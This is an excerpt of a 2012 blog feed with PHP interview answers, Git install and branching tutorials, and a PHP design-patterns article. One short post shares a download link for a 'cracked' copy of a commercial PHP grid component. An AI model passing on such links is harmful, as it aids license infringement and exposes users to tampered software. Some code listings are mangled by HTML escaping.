&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 97&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is framework? how it works? what is advantage?&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 97&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;In  general, a framework is a real or conceptual structure intended to   serve as a support or guide for the building of something that expands   the structure into something useful. Advantages : Consistent Programming   Model Direct Support for Security Simplified Development Efforts Easy  Application Deployment and Maintenance &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 98&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is CURL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 98&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;CURL means Client URL Library&lt;br /&gt;
curl is a command line tool for transferring files with URL syntax,   supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP,   LDAPS and FILE. curl supports SSL certificates, HTTP POST, HTTP PUT,   FTP uploading, HTTP form based upload, proxies, cookies, user+password    authentication (Basic, Digest, NTLM, Negotiate, kerberosâ€¦),  file  transfer resume, proxy tunneling and a busload of other useful tricks.&lt;br /&gt;
CURL allows you to connect and communicate to many different types of  servers  with many different types of protocols. libcurl currently  supports the http,  https, ftp, gopher, telnet, dict, file, and ldap  protocols. libcurl also supports  HTTPS certificates, HTTP POST, HTTP  PUT, FTP uploading  (this can also be done with PHPâ€™s ftp extension),  HTTP   form based upload, proxies, cookies, and user+password  authentication.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 99&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is PDO ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 99&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;The  PDO ( PHP Data Objects ) extension defines a lightweight,  consistent  interface for accessing databases in PHP. if you are using the PDO API,   you could switch the database server you used,   from say PgSQL to  MySQL, and only need to make minor changes to your PHP code. &lt;br /&gt;
While PDO has its advantages, such as a clean, simple, portable API but    its main &lt;b&gt;disadvantage&lt;/b&gt;  is that it doesn&#39;t allow you to use all of the   advanced features that  are available in the latest versions of MySQL server.   For example,  PDO does not allow you to use MySQL&#39;s support for Multiple Statements.&lt;br /&gt;
Just need to use below code for connect mysql  using PDO&lt;br /&gt;
try {&lt;br /&gt;
$dbh = new PDO(&quot;mysql:host=$hostname;dbname=databasename&quot;, $username, $password);&lt;br /&gt;
$sql = &quot;SELECT * FROM employee&quot;;&lt;br /&gt;
foreach ($dbh-&amp;gt;query($sql) as $row)&lt;br /&gt;
{&lt;br /&gt;
print $row[&#39;employee_name&#39;] .&#39; - &#39;. $row[&#39;employee_age&#39;] ;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
catch(PDOException $e)&lt;br /&gt;
{&lt;br /&gt;
echo $e-&amp;gt;getMessage();&lt;br /&gt;
}   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 100&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is PHP&#39;s mysqli Extension?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 100&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;The  mysqli extension, or as it is sometimes known, the MySQL improved  extension,  was developed to take advantage of new features found in  MySQL systems   versions 4.1.3 and newer. The mysqli extension is  included with PHP versions 5 and later. &lt;br /&gt;
The mysqli extension has a number of benefits, the key enhancements over the mysql extension being: &lt;br /&gt;
=&amp;gt;Object-oriented interface  &lt;br /&gt;
=&amp;gt;Support for Prepared Statements  &lt;br /&gt;
=&amp;gt;Support for Multiple Statements  &lt;br /&gt;
=&amp;gt;Support for Transactions  &lt;br /&gt;
=&amp;gt;Enhanced debugging capabilities  &lt;br /&gt;
=&amp;gt;Embedded server support &lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/8979445965014785278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/php-interview-questions-and-answers.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8979445965014785278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8979445965014785278'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/php-interview-questions-and-answers.html' title='PHP interview questions and answers'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-8643731440450678261</id><published>2012-02-26T10:25:00.000-08:00</published><updated>2012-02-26T10:25:46.068-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracked  php jquerygrid"/><category scheme="http://www.blogger.com/atom/ns#" term="jquerygrid"/><title type='text'>cracked  php jquerygrid</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;this is link for php jquerygrid with no limit at&amp;nbsp; all&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
http://www.mediafire.com/?ann0aaog328xryz&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/8643731440450678261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/cracked-php-jquerygrid.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8643731440450678261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8643731440450678261'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/cracked-php-jquerygrid.html' title='cracked  php jquerygrid'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-1594986186732315204</id><published>2012-02-26T09:59:00.001-08:00</published><updated>2012-02-26T09:59:06.192-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Installing Git"/><title type='text'>Installing Git</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;span-21&quot;&gt;     &lt;h2&gt;&lt;/h2&gt;&lt;h3&gt;Installing from Source&lt;/h3&gt;In short, on a Unix-based system, you can download the Git source code from the &lt;a href=&quot;http://git-scm.com/download&quot;&gt;Git Download Page&lt;/a&gt;, and then run something along the lines of :&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ make prefix=/usr all ;# as yourself
$ make prefix=/usr install ;# as root
&lt;/code&gt;&lt;/pre&gt;You will need the &lt;a href=&quot;http://expat.sourceforge.net/&quot;&gt;expat&lt;/a&gt;, &lt;a href=&quot;http://curl.linux-mirror.org/&quot;&gt;curl&lt;/a&gt;, &lt;a href=&quot;http://www.zlib.net/&quot;&gt;zlib&lt;/a&gt;, and &lt;a href=&quot;http://www.openssl.org/&quot;&gt;openssl&lt;/a&gt; libraries installed - though with the possible exception of &lt;em&gt;expat&lt;/em&gt;, these will normally already be there.&lt;br /&gt;
&lt;h3&gt;Linux&lt;/h3&gt;If you are running Linux, you can likely install Git easily via your native package management system:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ yum install git-core

$ apt-get install git-core
&lt;/code&gt;&lt;/pre&gt;If that doesn&#39;t work, you can download the .deb or .rpm packages from here:&lt;br /&gt;
&lt;a href=&quot;http://kernel.org/pub/software/scm/git/RPMS/&quot;&gt;RPM Packages&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.backports.org/debian/pool/main/g/git-core/&quot;&gt;Stable Debs&lt;/a&gt;&lt;br /&gt;
If you prefer to install from source on a Linux system, this article may be helpful:&lt;br /&gt;
&lt;a href=&quot;http://chrisolsen.org/2008/03/10/installing-git-on-ubuntu/&quot;&gt;Article: Installing Git on Ubuntu&lt;/a&gt;&lt;br /&gt;
&lt;h3&gt;Mac 10.4&lt;/h3&gt;In both Mac 10.4 and 10.5, you can install Git via &lt;a href=&quot;http://www.macports.org/&quot;&gt;MacPorts&lt;/a&gt;, if you have that installed.  If not, you can install it from &lt;a href=&quot;http://www.macports.org/install.php&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
Once MacPorts is installed, all you should have to do is:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ sudo port install git-core
&lt;/code&gt;&lt;/pre&gt;If you prefer to install from source, these articles may be helpful:&lt;br /&gt;
&lt;a href=&quot;http://rails.wincent.com/wiki/Installing_Git_1.5.2.3_on_Mac_OS_X_Tiger&quot;&gt;Article: Installing Git on Tiger&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://larrytheliquid.com/2007/12/29/compiling-git-and-git-svn-on-osx-tiger/&quot;&gt;Article: Installing Git and git-svn on Tiger from source&lt;/a&gt;&lt;br /&gt;
&lt;h3&gt;Mac 10.5&lt;/h3&gt;With Leopard, you can also install via MacPorts, but here you have the additional option of using a nice installer, which you can download from here: &lt;a href=&quot;http://code.google.com/p/git-osx-installer/downloads/list?can=3&quot;&gt;Git OSX Installer&lt;/a&gt;&lt;br /&gt;
If you prefer to install it from source, these guides may be particularly helpful to you :&lt;br /&gt;
&lt;a href=&quot;http://solutions.treypiepmeier.com/2008/02/25/installing-git-on-os-x-leopard/&quot;&gt;Article: Installing Git on OSX Leopard&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://dysinger.net/2007/12/30/installing-git-on-mac-os-x-105-leopard/&quot;&gt;Article: Installing Git on OS 10.5&lt;/a&gt;&lt;br /&gt;
&lt;h3&gt;Windows&lt;/h3&gt;On Windows, installing Git is pretty easy.  Simply download and install the &lt;a href=&quot;http://code.google.com/p/msysgit/downloads/list&quot;&gt;msysGit&lt;/a&gt; package.&lt;br /&gt;
See the &lt;em&gt;Git on Windows&lt;/em&gt; chapter for a screencast demonstrating installing and using Git on Windows.&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/1594986186732315204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/installing-git.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1594986186732315204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1594986186732315204'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/installing-git.html' title='Installing Git'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-2390188454002922649</id><published>2012-02-26T09:53:00.002-08:00</published><updated>2012-02-26T09:53:43.398-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basic Branching and Merging"/><title type='text'>Basic Branching and Merging</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h2&gt;&lt;/h2&gt;A single git repository can maintain multiple branches of development.  To create a new branch named &quot;experimental&quot;, use&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git branch experimental
&lt;/code&gt;&lt;/pre&gt;If you now run&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git branch
&lt;/code&gt;&lt;/pre&gt;you&#39;ll get a list of all existing branches:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;  experimental
* master
&lt;/code&gt;&lt;/pre&gt;The &quot;experimental&quot; branch is the one you just created, and the &quot;master&quot; branch is a default branch that was created for you automatically.  The asterisk marks the branch you are currently on; type&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git checkout experimental
&lt;/code&gt;&lt;/pre&gt;to switch to the experimental branch.  Now edit a file, commit the change, and switch back to the master branch:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;(edit file)
$ git commit -a
$ git checkout master
&lt;/code&gt;&lt;/pre&gt;Check that the change you made is no longer visible, since it was made on the experimental branch and you&#39;re back on the master branch.&lt;br /&gt;
You can make a different change on the master branch:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;(edit file)
$ git commit -a
&lt;/code&gt;&lt;/pre&gt;at this point the two branches have diverged, with different changes made in each.  To merge the changes made in experimental into master, run&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git merge experimental
&lt;/code&gt;&lt;/pre&gt;If the changes don&#39;t conflict, you&#39;re done.  If there are conflicts, markers will be left in the problematic files showing the conflict;&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git diff
&lt;/code&gt;&lt;/pre&gt;will show this.  Once you&#39;ve edited the files to resolve the conflicts,&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git commit -a
&lt;/code&gt;&lt;/pre&gt;will commit the result of the merge. Finally,&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ gitk
&lt;/code&gt;&lt;/pre&gt;will show a nice graphical representation of the resulting history.&lt;br /&gt;
At this point you could delete the experimental branch with&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git branch -d experimental
&lt;/code&gt;&lt;/pre&gt;This command ensures that the changes in the experimental branch are already in the current branch.&lt;br /&gt;
If you develop on a branch crazy-idea, then regret it, you can always delete the branch with&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git branch -D crazy-idea
&lt;/code&gt;&lt;/pre&gt;Branches are cheap and easy, so this is a good way to try something out.&lt;br /&gt;
&lt;h3&gt;How to merge&lt;/h3&gt;You can rejoin two diverging branches of development using &lt;a href=&quot;http://www.kernel.org/pub/software/scm/git/docs/git-merge.html&quot;&gt;git merge&lt;/a&gt;:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git merge branchname
&lt;/code&gt;&lt;/pre&gt;merges the changes made in the branch &quot;branchname&quot; into the current branch.  If there are conflicts--for example, if the same file is modified in two different ways in the remote branch and the local branch--then you are warned; the output may look something like this:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git merge next
 100% (4/4) done
Auto-merged file.txt
CONFLICT (content): Merge conflict in file.txt
Automatic merge failed; fix conflicts and then commit the result.
&lt;/code&gt;&lt;/pre&gt;Conflict markers are left in the problematic files, and after you resolve the conflicts manually, you can update the index with the contents and run git commit, as you normally would when modifying a file.&lt;br /&gt;
If you examine the resulting commit using gitk, you will see that it has two parents: one pointing to the top of the current branch, and one to the top of the other branch.&lt;br /&gt;
&lt;h3&gt;Resolving a merge&lt;/h3&gt;When a merge isn&#39;t resolved automatically, git leaves the index and the working tree in a special state that gives you all the information you need to help resolve the merge.&lt;br /&gt;
Files with conflicts are marked specially in the index, so until you resolve the problem and update the index, &lt;a href=&quot;http://www.kernel.org/pub/software/scm/git/docs/git-commit.html&quot;&gt;git commit&lt;/a&gt; will fail:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git commit
file.txt: needs merge
&lt;/code&gt;&lt;/pre&gt;Also, &lt;a href=&quot;http://www.kernel.org/pub/software/scm/git/docs/git-status.html&quot;&gt;git status&lt;/a&gt; will list those files as &quot;unmerged&quot;, and the files with conflicts will have conflict markers added, like this:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD:file.txt
Hello world
=======
Goodbye
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; 77976da35a11db4580b80ae27e8d65caf5208086:file.txt
&lt;/code&gt;&lt;/pre&gt;All you need to do is edit the files to resolve the conflicts, and then&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git add file.txt
$ git commit
&lt;/code&gt;&lt;/pre&gt;Note that the commit message will already be filled in for you with some information about the merge.  Normally you can just use this default message unchanged, but you may add additional commentary of your own if desired.&lt;br /&gt;
The above is all you need to know to resolve a simple merge.  But git also provides more information to help resolve conflicts:&lt;br /&gt;
&lt;h3&gt;Undoing a merge&lt;/h3&gt;If you get stuck and decide to just give up and throw the whole mess away, you can always return to the pre-merge state with&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git reset --hard HEAD
&lt;/code&gt;&lt;/pre&gt;Or, if you&#39;ve already committed the merge that you want to throw away,&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ git reset --hard ORIG_HEAD
&lt;/code&gt;&lt;/pre&gt;However, this last command can be dangerous in some cases--never throw away a commit if that commit may itself have been merged into another branch, as doing so may confuse further merges.&lt;br /&gt;
&lt;h3&gt;Fast-forward merges&lt;/h3&gt;There is one special case not mentioned above, which is treated differently. Normally, a merge results in a merge commit with two parents, one for each of the two lines of development that were merged.&lt;br /&gt;
However, if the current branch has not diverged from the other--so every commit present in the current branch is already contained in the other--then git just performs a &quot;fast forward&quot;; the head of the current branch is moved forward to point at the head of the merged-in branch, without any new commits being created.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/2390188454002922649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/basic-branching-and-merging.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2390188454002922649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2390188454002922649'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/basic-branching-and-merging.html' title='Basic Branching and Merging'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-8022661579285837441</id><published>2012-01-02T09:25:00.000-08:00</published><updated>2012-01-02T09:25:05.354-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP design patterns"/><title type='text'>Five common PHP design patterns</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Design patterns were introduced to the software community in &lt;i&gt;Design Patterns&lt;/i&gt;,  by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides  (colloquially known as the &quot;gang of four&quot;). The core concept behind  design patterns, presented in the introduction, was simple. Over their  years of developing software, Gamma et al found certain patterns of  solid design emerging, just as architects designing houses and buildings  can develop templates for where a bathroom should be located or how a  kitchen should be configured. Having those templates, or &lt;i&gt;design patterns&lt;/i&gt;, means they can design better buildings more quickly. The same applies to software.&lt;br /&gt;
Design patterns not only present useful ways for  developing robust software faster but also provide a way of  encapsulating large ideas in friendly terms. For example, you can say  you&#39;re writing a messaging system to provide for loose coupling, or you  can say you&#39;re writing an &lt;i&gt;observer&lt;/i&gt;, which is the name of that pattern.&lt;br /&gt;
It&#39;s difficult to demonstrate the value of patterns using  small examples. They often look like overkill because they really come  into play in large code bases. This article can&#39;t show huge  applications, so you need to think about ways to apply the principles of  the example -- and not necessarily this exact code -- in your larger  applications. That&#39;s not to say that you shouldn&#39;t use patterns in small  applications. Most good applications start small and become big, so  there is no reason not to start with solid coding practices like these.&lt;br /&gt;
Now that you have a sense of what design patterns are and  why they&#39;re useful, it&#39;s time to jump into five common patterns for PHP  V5.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N10076&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The factory pattern&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
Many of the design patterns in the original &lt;i&gt;Design Patterns&lt;/i&gt; book encourage &lt;i&gt;loose coupling&lt;/i&gt;.  To understand this concept, it&#39;s easiest to talk about a struggle that  many developers go through in large systems. The problem occurs when you  change one piece of code and watch as a cascade of breakage happens in  other parts of the system -- parts you thought were completely  unrelated.&lt;br /&gt;
The problem is &lt;i&gt;tight coupling&lt;/i&gt;. Functions and  classes in one part of the system rely too heavily on behaviors and  structures in other functions and classes in other parts of the system.  You need a set of patterns that lets these classes talk with each other,  but you don&#39;t want to tie them together so heavily that they become  interlocked.&lt;br /&gt;
In large systems, lots of code relies on a few key  classes. Difficulties can arise when you need to change those classes.  For example, suppose you have a &lt;code&gt;User&lt;/code&gt; class that reads from a  file. You want to change it to a different class that reads from the  database, but all the code references the original class that reads from  a file. This is where the factory pattern comes in handy.&lt;br /&gt;
The &lt;i&gt;factory pattern&lt;/i&gt; is a class that has some methods that create objects for you. Instead of using &lt;code&gt;new&lt;/code&gt;  directly, you use the factory class to create objects. That way, if you  want to change the types of objects created, you can change just the  factory. All the code that uses the factory changes automatically.&lt;br /&gt;
Listing 1 shows an example of a factory class. The server  side of the equation comes in two pieces: the database, and a set of  PHP pages that let you add feeds, request the list of feeds, and get the  article associated with a particular feed.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing1&quot;&gt;&lt;b&gt;Listing 1. Factory1.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
interface IUser
{
  function getName();
}

class User implements IUser
{
  public function __construct( $id ) { }

  public function getName()
  {
    return &quot;Jack&quot;;
  }
}

class UserFactory
{
  public static function Create( $id )
  {
    return new User( $id );
  }
}

$uo = UserFactory::Create( 1 );
echo( $uo---&gt;getName().&quot;\n&quot; );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
An interface called &lt;code&gt;IUser&lt;/code&gt; defines what a user object should do. The implementation of &lt;code&gt;IUser&lt;/code&gt; is called &lt;code&gt;User&lt;/code&gt;, and a factory class called &lt;code&gt;UserFactory&lt;/code&gt; creates &lt;code&gt;IUser&lt;/code&gt; objects. This relationship is shown as UML in Figure 1.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig1&quot;&gt;&lt;b&gt;Figure 1. The factory class and its related IUser interface and user class&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The factory class and its related IUser interface and user class&quot; height=&quot;86&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/factory1.gif&quot; width=&quot;221&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
If you run this code on the command line using the &lt;code&gt;php&lt;/code&gt; interpreter, you get this result:&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php factory1.php 
Jack
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The test code asks the factory for a &lt;code&gt;User&lt;/code&gt; object and prints the result of the &lt;code&gt;getName&lt;/code&gt; method.&lt;br /&gt;
A variation of the factory pattern uses factory methods.  These public static methods in the class construct objects of that type.  This approach is useful when creating an object of this type is  nontrivial. For example, suppose you need to first create the object and  then set many attributes. This version of the factory pattern  encapsulates that process in a single location so that the complex  initialization code isn&#39;t copied and pasted all over the code base.&lt;br /&gt;
Listing 2 shows an example of using factory methods.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing2&quot;&gt;&lt;b&gt;Listing 2. Factory2.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
interface IUser
{
  function getName();
}

class User implements IUser
{
  public static function Load( $id ) 
  {
        return new User( $id );
  }

  public static function Create( ) 
  {
        return new User( null );
  }

  public function __construct( $id ) { }

  public function getName()
  {
    return &quot;Jack&quot;;
  }
}

$uo = User::Load( 1 );
echo( $uo---&gt;getName().&quot;\n&quot; );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
This code is much simpler. It has only one interface, &lt;code&gt;IUser&lt;/code&gt;, and one class called &lt;code&gt;User&lt;/code&gt; that implements the interface. The &lt;code&gt;User&lt;/code&gt; class has two static methods that create the object. This relationship is shown in UML in Figure 2.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig2&quot;&gt;&lt;b&gt;Figure 2. The IUser interface and the user class with factory methods&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The IUser interface and the user class with factory methods&quot; height=&quot;113&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/factory2.gif&quot; width=&quot;95&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
Running the script on the command line yields the same result as the code in Listing 1, as shown here:&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php factory2.php 
Jack
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
As stated, sometimes such patterns can seem like overkill  in small situations. Nevertheless, it&#39;s still good to learn solid  coding forms like these for use in any size of project.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N10124&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The singleton pattern&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
Some application resources are &lt;i&gt;exclusive&lt;/i&gt; in that  there is one and only one of this type of resource. For example, the  connection to a database through the database handle is exclusive. You  want to share the database handle in an application because it&#39;s an  overhead to keep opening and closing connections, particularly during a  single page fetch.&lt;br /&gt;
The singleton pattern covers this need. An object is a &lt;i&gt;singleton&lt;/i&gt;  if the application can include one and only one of that object at a  time. The code in Listing 3 shows a database connection singleton in PHP  V5.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing3&quot;&gt;&lt;b&gt;Listing 3. Singleton.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
